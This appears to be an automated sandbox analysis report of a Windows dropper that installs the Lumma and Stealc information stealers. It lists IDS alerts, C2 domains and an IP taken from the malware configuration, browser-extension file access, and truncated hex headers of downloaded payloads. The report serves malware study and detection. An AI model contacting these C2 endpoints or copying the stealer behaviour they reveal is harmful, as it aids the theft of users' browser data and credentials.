Source:	Binary string: my_library.pdb source: 2h6379.exe, 00000003.00000003.2257337140.0000000008EAB000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 3S96n.exe, 0000001A.00000003.2810499954.0000000004A8B000.00000004.00001000.00020000.00000000.sdmp, 3S96n.exe, 0000001A.00000002.2851008315.000000000057C000.00000040.00000001.01000000.00000016.sdmp, chrome.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: mozglue.pdb source: mozglue[1].dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.3.dr, softokn3.dll.3.dr

Source: C:\Users\user\Desktop\ByVoN4bhSU.exe	Code function: 0_2_00212390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,		0_2_00212390
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\j1C74.exe	Code function: 1_2_00352390 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,		1_2_00352390

Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 6MB later: 45MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.5:50861 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.5:65385 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.5:63950 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.5:61527 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.5:64007 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49709 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49707 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49706 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49708 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.5:60880 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49710 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49705 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49711 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2057122 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI) : 192.168.2.5:49704 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49738 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49738 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49738
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49738 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49738
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49738 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50137 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 104.21.5.155:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 05 Nov 2024 09:13:13 GMTContent-Type: application/octet-streamContent-Length: 2123264Last-Modified: Tue, 05 Nov 2024 08:48:16 GMTConnection: keep-aliveETag: "6729dbd0-206600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 20 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 72 00 00 04 00 00 5a eb 20 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6a 63 6c 62 6b 6b 65 00 c0 19 00 00 50 58 00 00 b6 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 68 78 6d 76 61 6f 65 00 10 00 00 00 10 72 00 00 04 00 00 00 40 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 72 00 00 22 00 00 00 44 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 05 Nov 2024 09:13:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
